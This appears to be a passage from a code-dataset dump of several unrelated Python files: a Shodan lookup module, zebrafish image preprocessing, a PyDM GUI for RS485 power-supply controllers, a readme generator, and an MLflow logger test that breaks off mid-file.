"usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 489, "usage_type": "call"}, {"api_name": "os.path", "line_number": 489, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 490, "usage_type": "call"}, {"api_name": "os.path", "line_number": 490, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 497, "usage_type": "call"}, {"api_name": "re.search", "line_number": 501, "usage_type": "call"}, {"api_name": "re.search", "line_number": 520, "usage_type": "call"}, {"api_name": "re.search", "line_number": 528, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 556, "usage_type": "attribute"}, {"api_name": "re.Pattern", "line_number": 559, "usage_type": "attribute"}, {"api_name": "ipaddress.IPv4Address", "line_number": 578, "usage_type": "attribute"}, {"api_name": "ipaddress.IPv6Address", "line_number": 578, "usage_type": "attribute"}, {"api_name": "ipaddress.ip_address", "line_number": 579, "usage_type": "call"}, {"api_name": "ipaddress.IPv6Address", "line_number": 580, "usage_type": "attribute"}, {"api_name": "ipaddress.IPv4Network", "line_number": 583, "usage_type": "attribute"}, {"api_name": "ipaddress.IPv6Network", "line_number": 583, "usage_type": "attribute"}, {"api_name": "ipaddress.ip_network", "line_number": 584, "usage_type": "call"}, {"api_name": "opsicommon.types.forceFqdn", "line_number": 599, "usage_type": "call"}, {"api_name": "socket.getfqdn", "line_number": 599, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 601, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 601, "usage_type": "attribute"}, {"api_name": "opsicommon.types.forceFqdn", "line_number": 604, "usage_type": "call"}, {"api_name": "OPSI.Util.Config.getGlobalConfig", "line_number": 613, "usage_type": "call"}, {"api_name": "OPSI.Util.Config.getGlobalConfig", "line_number": 615, "usage_type": "call"}, {"api_name": "opsicommon.types.forceFqdn", "line_number": 618, "usage_type": "call"}, {"api_name": "opsicommon.types.forceFqdn", "line_number": 620, "usage_type": "call"}, {"api_name": "socket.getfqdn", "line_number": 620, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 637, "usage_type": "call"}, {"api_name": "OPSI.Util.Config.System.execute", "line_number": 645, "usage_type": "call"}, {"api_name": "OPSI.Util.Config.System", "line_number": 645, "usage_type": "attribute"}, {"api_name": "OPSI.Util.Config", "line_number": 645, "usage_type": "name"}, {"api_name": "itertools.islice", "line_number": 659, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 669, "usage_type": "call"}, {"api_name": "Cryptodome.Util.number.bytes_to_long", "line_number": 670, "usage_type": "call"}, {"api_name": "Cryptodome.PublicKey.RSA.construct", "line_number": 673, "usage_type": "call"}, {"api_name": "Cryptodome.PublicKey.RSA", "line_number": 673, "usage_type": "name"}, {"api_name": "functools.lru_cache", "line_number": 662, "usage_type": "call"}]} +{"seq_id": "2414583897", "text": "from shodan import Shodan\nfrom pathlib import Path\nimport configparser\nimport requests\nfrom CloudCarrot.settings import __config_file__\nimport os\n\nconfig = configparser.ConfigParser()\ntry:\n config.read(os.path.join(str(Path.home()),\n '.config/{}'.format(__config_file__)))\n TOKEN = config.get('shodan', 'API_KEY')\nexcept configparser.NoSectionError:\n TOKEN = False\n\napi = Shodan(TOKEN)\n\n\ndef shodan_search(host):\n if not TOKEN:\n return False\n try:\n banner = api.search_cursor('\"{0}\"'.format(host))\n title_result = set([host['ip_str'] for host in banner])\n if title_result:\n return title_result\n else:\n return set()\n except:\n return False\n", "repo_name": "foozzi/CloudCarrot", "sub_path": "CloudCarrot/modules/shodan_module.py", "file_name": "shodan_module.py", "file_ext": "py", "file_size_in_byte": 748, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "configparser.ConfigParser", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pathlib.Path.home", "line_number": 10, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 10, "usage_type": "name"}, {"api_name": "CloudCarrot.settings.__config_file__", "line_number": 11, "usage_type": "argument"}, {"api_name": "configparser.NoSectionError", "line_number": 13, "usage_type": "attribute"}, {"api_name": "shodan.Shodan", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "71571544604", "text": "from skimage.io import imread\nimport numpy as np\nfrom patchify import patchify\nfrom sklearn.preprocessing import LabelEncoder\nfrom tensorflow.keras.utils import to_categorical\nfrom sklearn.model_selection import train_test_split\n\ndef get_hpf(hpf):\n # If the hpf entered is not equal to one of the hpfs the models were trained on, find which it is closest\n # to and use that model to train it\n\n abs_diff = [abs(hpf - 30), abs(hpf - 36), abs(hpf - 48)]\n all_hpf = [30, 36, 48]\n closest = min(abs_diff)\n hpf_index = abs_diff.index(closest)\n mod_hpf = all_hpf[hpf_index]\n\n return mod_hpf\n\ndef load_process_imgs(img_path, mask_path, split, n_classes):\n\n # Load input images and masks\n\n image = imread(img_path)\n img_patches = patchify(image, (64, 64, 64), step=64)\n\n mask = imread(mask_path)\n mask_patches = patchify(mask, (64, 64, 64), step=64)\n\n # Reshape each array to have shape (n_patches, height, width, depth)\n\n imgs_reshaped = np.reshape(img_patches, (-1, img_patches.shape[3], img_patches.shape[4], \n img_patches.shape[5]))\n masks_reshaped = np.reshape(mask_patches, (-1, mask_patches.shape[3], mask_patches.shape[4], \n mask_patches.shape[5]))\n \n # Convert image to have 3 channels, add 1 channels to the masks and convert both to type np.float32\n \n train_imgs = np.stack((imgs_reshaped,)*3, axis=-1).astype(np.float32)\n \n # Encode labels from 0 to number of classes - 1\n\n labelencoder = LabelEncoder()\n n, h, w, d = masks_reshaped.shape\n masks_flat = masks_reshaped.reshape(-1,)\n encoded_masks = labelencoder.fit_transform(masks_flat)\n encoded_masks_reshaped = encoded_masks.reshape(n, h, w, d)\n train_masks = np.expand_dims(encoded_masks_reshaped, axis=4).astype(np.float32)\n\n train_masks_cat = to_categorical(train_masks, num_classes=n_classes)\n\n # Split dataset into training and validation sets\n\n x_train, x_val, y_train, y_val = train_test_split(train_imgs, train_masks_cat, test_size=split, random_state=0)\n\n return x_train, x_val, y_train, y_val\n\n ", "repo_name": "aliclaz/Zebrafish_Heart_Segmentation_3D_FYP_AC", "sub_path": "imgPreprocessing.py", "file_name": "imgPreprocessing.py", "file_ext": "py", "file_size_in_byte": 2153, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "skimage.io.imread", "line_number": 24, "usage_type": "call"}, {"api_name": "patchify.patchify", "line_number": 25, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 27, "usage_type": "call"}, {"api_name": "patchify.patchify", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.utils.to_categorical", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "19228757080", "text": "import os, json\nimport platform\nfrom pydm import Display, PyDMApplication\nfrom pydm.utilities import IconFont\nfrom pydm.widgets import PyDMRelatedDisplayButton, PyDMEmbeddedDisplay, PyDMLabel, PyDMByteIndicator\nfrom pydm.PyQt import QtCore\n\nfrom PyQt5.QtWidgets import (QLabel, QTableWidgetItem, QWidget, QHBoxLayout, QStyleFactory,\n QTabWidget, QVBoxLayout, QGroupBox, QLineEdit, QPushButton, QScrollArea, QFrame, QApplication)\nfrom PyQt5.QtGui import QColor, QPalette, QFont, QBrush\n\n\n\nclass AllPSDisplay(Display):\n def __init__(self, parent=None, args=[], macros=None):\n super(AllPSDisplay, self).__init__(parent=parent, args=args, macros=None)\n # Placeholder for data to filter\n self.BBB_PS_list = []\n # Reference to the PyDMApplication\n self.app = QApplication.instance()\n self.app.setApplicationDisplayName('Beaglebone Black - RS485 Serial Interface Controller')\n # Assemble the Widgets\n self.setup_ui()\n # Load data from file\n self.load_data()\n # Show all BBBs\n #self.do_search()\n\n def minimumSizeHint(self):\n # This is the default recommended size\n # for this screen\n return QtCore.QSize(1000, 600)\n\n def ui_filepath(self):\n # No UI file is being used\n return None\n\n def setup_ui(self):\n # Create the main layout\n main_layout = QVBoxLayout()\n self.setLayout(main_layout)\n\n # Create a Label to be the title\n lbl_title = QLabel(\"Beaglebone Black - RS485 Serial Interface Controller\\nControls Group\")\n # Add some StyleSheet to it\n lbl_title.setStyleSheet(\"\\\n QLabel {\\\n qproperty-alignment: AlignCenter;\\\n border: 1px solid #FF17365D;\\\n border-top-left-radius: 15px;\\\n border-top-right-radius: 15px;\\\n background-color: #FF17365D;\\\n padding: 5px 0px;\\\n color: rgb(255, 255, 255);\\\n max-height: 40px;\\\n font-size: 14px;\\\n }\")\n\n # Add the title label to the main layout\n main_layout.addWidget(lbl_title)\n\n # Create a GroupBox for subtitles\n legend_layout = QHBoxLayout()\n legend_layout.setGeometry(QtCore.QRect(10, 10, 50, 30))\n gb_legend = QGroupBox(parent=self)\n gb_legend.setLayout(legend_layout)\n\n # Create a squares and labels\n brush_black = QBrush(QColor(255, 255, 255))\n brush_black.setStyle(QtCore.Qt.SolidPattern)\n brush_orange = QBrush(QColor(193, 125, 17))\n brush_orange.setStyle(QtCore.Qt.SolidPattern)\n brush_blue = QBrush(QColor(52, 101, 164))\n brush_blue.setStyle(QtCore.Qt.SolidPattern)\n\n palette = QPalette()\n palette.setBrush(QPalette.Active, QPalette.Base, brush_black)\n palette.setBrush(QPalette.Inactive, QPalette.Base, brush_black)\n\n font = QFont()\n font.setItalic(True)\n\n self.color_IOC = QLineEdit()\n self.color_IOC.setEnabled(False)\n self.color_IOC.setMaximumSize(QtCore.QSize(15, 15))\n palette.setBrush(QPalette.Disabled, QPalette.Base, brush_blue)\n self.color_IOC.setPalette(palette)\n\n self.text_IOC = QLabel()\n self.text_IOC.setText(\"IOC\")\n self.text_IOC.setFont(font)\n\n self.color_PES = QLineEdit()\n self.color_PES.setEnabled(False)\n self.color_PES.setMaximumSize(QtCore.QSize(15, 15))\n palette.setBrush(QPalette.Disabled, QPalette.Base, brush_orange)\n self.color_PES.setPalette(palette)\n\n self.text_PES = QLabel()\n self.text_PES.setText(\"PES\")\n self.text_PES.setFont(font)\n\n # Add the created widgets to the layout\n legend_layout.addWidget(self.color_IOC)\n legend_layout.addWidget(self.text_IOC)\n legend_layout.addWidget(self.color_PES)\n legend_layout.addWidget(self.text_PES)\n\n # Add the Groupbox to the main layout\n main_layout.addWidget(gb_legend)\n\n\n # Create the Search Panel layout\n search_layout = QHBoxLayout()\n\n # Create a GroupBox with \"Filtering\" as Title\n gb_search = QGroupBox(parent=self)\n gb_search.setLayout(search_layout)\n\n # Create a label, line edit and button for filtering\n lbl_search = QLabel(text=\"Filter: \")\n self.txt_filter = QLineEdit()\n self.txt_filter.returnPressed.connect(self.do_search)\n btn_search = QPushButton()\n btn_search.setText(\"Search\")\n btn_search.clicked.connect(self.do_search)\n\n # Add the created widgets to the layout\n search_layout.addWidget(lbl_search)\n search_layout.addWidget(self.txt_filter)\n search_layout.addWidget(btn_search)\n\n # Add the Groupbox to the main layout\n main_layout.addWidget(gb_search)\n\n # Create the Results Layout\n self.resultsLT_layout = QVBoxLayout()\n self.resultsLT_layout.setContentsMargins(0, 0, 0, 0)\n self.resultsBO_layout = QVBoxLayout()\n self.resultsBO_layout.setContentsMargins(0, 0, 0, 0)\n self.resultsSR_layout = QVBoxLayout()\n self.resultsSR_layout.setContentsMargins(0, 0, 0, 0)\n self.resultsDCL_layout = QVBoxLayout()\n self.resultsDCL_layout.setContentsMargins(0, 0, 0, 0)\n # Create a Frame to host the results of search\n self.frmLT_result = QFrame(parent=self)\n self.frmLT_result.setLayout(self.resultsLT_layout)\n self.frmBO_result = QFrame(parent=self)\n self.frmBO_result.setLayout(self.resultsBO_layout)\n self.frmSR_result = QFrame(parent=self)\n self.frmSR_result.setLayout(self.resultsSR_layout)\n self.frmDCL_result = QFrame(parent=self)\n self.frmDCL_result.setLayout(self.resultsDCL_layout)\n\n # Create a ScrollArea so we can properly handle many entries\n scroll_areaLT = QScrollArea(parent=self)\n scroll_areaBO = QScrollArea(parent=self)\n scroll_areaSR = QScrollArea(parent=self)\n scroll_areaDCL = QScrollArea(parent=self)\n scroll_areaLT.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n scroll_areaBO.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n scroll_areaSR.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n scroll_areaDCL.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)\n scroll_areaLT.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n scroll_areaBO.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n scroll_areaSR.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n scroll_areaDCL.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n scroll_areaLT.setWidgetResizable(True)\n scroll_areaBO.setWidgetResizable(True)\n scroll_areaSR.setWidgetResizable(True)\n scroll_areaDCL.setWidgetResizable(True)\n\n # Add the Frame to the scroll area\n scroll_areaLT.setWidget(self.frmLT_result)\n scroll_areaBO.setWidget(self.frmBO_result)\n scroll_areaSR.setWidget(self.frmSR_result)\n scroll_areaDCL.setWidget(self.frmDCL_result)\n\n\n\n # Create tabs\n self.tabWidget = QTabWidget(parent=self)\n self.tabLT = QWidget(self.tabWidget)\n self.tabWidget.addTab(self.tabLT, \"LTs\")\n self.LTLayout = QHBoxLayout(self.tabLT)\n self.LTLayout.setContentsMargins(0, 0, 0, 0)\n self.tabsBooster = QWidget(self.tabWidget)\n self.tabWidget.addTab(self.tabsBooster, \"Booster\")\n self.BOLayout = QHBoxLayout(self.tabsBooster)\n self.BOLayout.setContentsMargins(0, 0, 0, 0)\n self.tabsAnel = QWidget(self.tabWidget)\n self.tabWidget.addTab(self.tabsAnel, \"Anel\")\n self.SRLayout = QHBoxLayout(self.tabsAnel)\n self.SRLayout.setContentsMargins(0, 0, 0, 0)\n self.tabsDCLink = QWidget(self.tabWidget)\n self.tabWidget.addTab(self.tabsDCLink, \"DC-Link\")\n self.DCLLayout = QHBoxLayout(self.tabsDCLink)\n self.DCLLayout.setContentsMargins(0, 0, 0, 0)\n\n # Add the scroll area to the main layout\n main_layout.addWidget(self.tabWidget)\n\n # Add the scroll area to the main layout\n self.LTLayout.addWidget(scroll_areaLT)\n self.BOLayout.addWidget(scroll_areaBO)\n self.SRLayout.addWidget(scroll_areaSR)\n self.DCLLayout.addWidget(scroll_areaDCL)\n\n def load_data(self):\n # Extract the directory of this file...\n base_dir = os.path.dirname(os.path.realpath(__file__))\n # Concatenate the directory with the file name...\n data_file = os.path.join(base_dir, \"ps-list.txt\")\n # Open the file so we can read the data...\n self.BBB_PS_list = {}\n with open(data_file, 'r') as f:\n # For each line in the file...\n for current_line in f:\n self.BBB_PS_list[current_line.split()[0]] = current_line.split()[1:]\n\n def do_search(self):\n # For each widget inside the results frame, lets destroy them\n for widget in self.frmLT_result.findChildren(QWidget):\n widget.setParent(None)\n widget.deleteLater()\n for widget in self.frmBO_result.findChildren(QWidget):\n widget.setParent(None)\n widget.deleteLater()\n for widget in self.frmSR_result.findChildren(QWidget):\n widget.setParent(None)\n widget.deleteLater()\n for widget in self.frmDCL_result.findChildren(QWidget):\n widget.setParent(None)\n widget.deleteLater()\n\n # Grab the filter text\n filter_text = self.txt_filter.text()\n\n # For every entry in the dataset...\n for entry in self.BBB_PS_list:\n # Check if they match our filter\n if filter_text.upper() not in entry.upper():\n continue\n\n # Create macros list\n dict_macro_BBB = {\"PS_CON\" : entry, \"PYTHON\": \"python\" if platform.system() == \"Windows\" else \"python3\"}\n for i in range(1, len(self.BBB_PS_list[entry])+1):\n dict_macro_BBB[\"PS{}\".format(i)] = self.BBB_PS_list[entry][i-1]\n # Create a PyDMEmbeddedDisplay for this entry\n disp = PyDMEmbeddedDisplay(parent=self)\n PyDMApplication.instance().close_widget_connections(disp)\n disp.macros = json.dumps(dict_macro_BBB)\n disp.filename = 'PS_Controller.ui'\n disp.setMinimumWidth(700)\n disp.setMinimumHeight(40)\n disp.setMaximumHeight(100)\n\n # Add the Embedded Display to the Results Layout\n if \"DCL\" in entry:\n self.resultsDCL_layout.addWidget(disp)\n elif \"SI\" in entry:\n self.resultsSR_layout.addWidget(disp)\n elif \"BO\" in entry:\n self.resultsBO_layout.addWidget(disp)\n elif (\"TB\" in entry) or (\"TS\" in entry):\n self.resultsLT_layout.addWidget(disp)\n\n PyDMApplication.instance().establish_widget_connections(disp)\n", "repo_name": "lnls-sirius/ponte-py", "sub_path": "gui-PortControl/RS485-serial-controller-interface.py", "file_name": "RS485-serial-controller-interface.py", "file_ext": "py", "file_size_in_byte": 11021, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pydm.Display", "line_number": 14, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.instance", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 20, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.QSize", "line_number": 32, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 32, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 40, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 44, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 63, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore.QRect", "line_number": 64, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 64, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 65, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 69, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 70, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 71, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 71, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 72, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 73, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 73, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 74, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 76, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPalette.Active", "line_number": 77, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 77, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette.Base", "line_number": 77, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPalette.Inactive", "line_number": 78, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 78, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette.Base", "line_number": 78, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 80, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 83, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore.QSize", "line_number": 85, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 85, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette.Disabled", "line_number": 86, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 86, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette.Base", "line_number": 86, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 89, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 93, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore.QSize", "line_number": 95, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 95, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette.Disabled", "line_number": 96, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPalette", "line_number": 96, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPalette.Base", "line_number": 96, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 99, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 114, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 117, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 121, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 122, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 124, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 137, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 139, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 143, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 146, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 148, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 150, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFrame", "line_number": 152, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 156, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 157, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 158, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QScrollArea", "line_number": 159, "usage_type": "call"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 160, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 160, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 161, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 161, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 162, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 162, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 163, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 164, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 164, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 165, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 165, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 166, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 166, "usage_type": "name"}, {"api_name": "pydm.PyQt.QtCore.Qt", "line_number": 167, "usage_type": "attribute"}, {"api_name": "pydm.PyQt.QtCore", "line_number": 167, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTabWidget", "line_number": 182, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 183, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 185, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 187, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 189, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 191, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 193, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 195, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 223, "usage_type": "argument"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 226, "usage_type": "argument"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 229, "usage_type": "argument"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 232, "usage_type": "argument"}, {"api_name": "platform.system", "line_number": 246, "usage_type": "call"}, {"api_name": "pydm.widgets.PyDMEmbeddedDisplay", "line_number": 250, "usage_type": "call"}, {"api_name": "pydm.PyDMApplication.instance", "line_number": 251, "usage_type": "call"}, {"api_name": "pydm.PyDMApplication", "line_number": 251, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 252, "usage_type": "call"}, {"api_name": "pydm.PyDMApplication.instance", "line_number": 268, "usage_type": "call"}, {"api_name": "pydm.PyDMApplication", "line_number": 268, "usage_type": "name"}]} +{"seq_id": "39535446087", "text": "import string\nfrom pathlib import Path\n\n\ndef md_head_link(h: str) -> str:\n # Clean from non-ascii\n link = ''.join(filter(lambda s: s in string.printable, h))\n # And make link\n link = '#' + link.lower().replace(' ', '-')\n return link\n\n\ndef toc(text: str, level='##', skip_first=True) -> str:\n r = f'{level} Table of Contents\\n\\n'\n\n for line in text.split('\\n'):\n head_level = 0\n for s in line:\n if s != '#':\n break\n head_level += 1\n\n if head_level > int(skip_first):\n head = line.lstrip('#').lstrip()\n r += ' ' * (head_level - 1 - int(skip_first)) + f'- [{head}]({md_head_link(head)})\\n'\n\n return r\n\n\nif __name__ == '__main__':\n # Get template and sources of scripts\n template = Path('readme.template.md').read_text()\n scripts = {p.stem: p.read_text() for p in Path('scripts').iterdir()}\n\n # Substitute\n result = template.format(toc=toc(template), **scripts)\n\n # Write result\n Path('readme.md').write_text(result)\n", "repo_name": "uburuntu/jetson-startup", "sub_path": "readme_gen.py", "file_name": "readme_gen.py", "file_ext": "py", "file_size_in_byte": 1039, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "86", "api": [{"api_name": "string.printable", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 32, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 33, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "23564074064", "text": "import os\nimport shutil\nimport tempfile\nimport unittest\nfrom collections import namedtuple\nfrom unittest.mock import patch\n\nfrom mlflow.tracking import MlflowClient\n\nfrom ray._private.dict import flatten_dict\nfrom ray.train._internal.session import init_session, shutdown_session\nfrom ray.train._internal.storage import StorageContext\nfrom ray.air.integrations.mlflow import MLflowLoggerCallback, setup_mlflow, _NoopModule\nfrom ray.air._internal.mlflow import _MLflowLoggerUtil\n\n\nclass MockTrial(\n namedtuple(\"MockTrial\", [\"config\", \"trial_name\", \"trial_id\", \"local_path\"])\n):\n def __hash__(self):\n return hash(self.trial_id)\n\n def __str__(self):\n return self.trial_name\n\n\nclass Mock_MLflowLoggerUtil(_MLflowLoggerUtil):\n def save_artifacts(self, dir, run_id):\n self.artifact_saved = True\n self.artifact_info = {\"dir\": dir, \"run_id\": run_id}\n\n\ndef clear_env_vars():\n os.environ.pop(\"MLFLOW_EXPERIMENT_NAME\", None)\n os.environ.pop(\"MLFLOW_EXPERIMENT_ID\", None)\n\n\nclass MLflowTest(unittest.TestCase):\n def setUp(self):\n self.tracking_uri = \"sqlite:///\" + tempfile.mkdtemp() + \"/mlflow.sqlite\"\n self.registry_uri = \"sqlite:///\" + tempfile.mkdtemp() + \"/mlflow.sqlite\"\n\n client = MlflowClient(\n tracking_uri=self.tracking_uri, registry_uri=self.registry_uri\n )\n client.create_experiment(name=\"existing_experiment\")\n # Mlflow > 2 creates a \"Default\" experiment which has ID 0, so we start our\n # test with ID 1.\n assert client.get_experiment_by_name(\"existing_experiment\").experiment_id == \"1\"\n\n def tearDown(self) -> None:\n # Shutdown session to clean up for next test\n shutdown_session()\n\n def testMlFlowLoggerCallbackConfig(self):\n # Explicitly pass in all args.\n logger = MLflowLoggerCallback(\n tracking_uri=self.tracking_uri,\n registry_uri=self.registry_uri,\n experiment_name=\"test_exp\",\n )\n logger.setup()\n self.assertEqual(\n 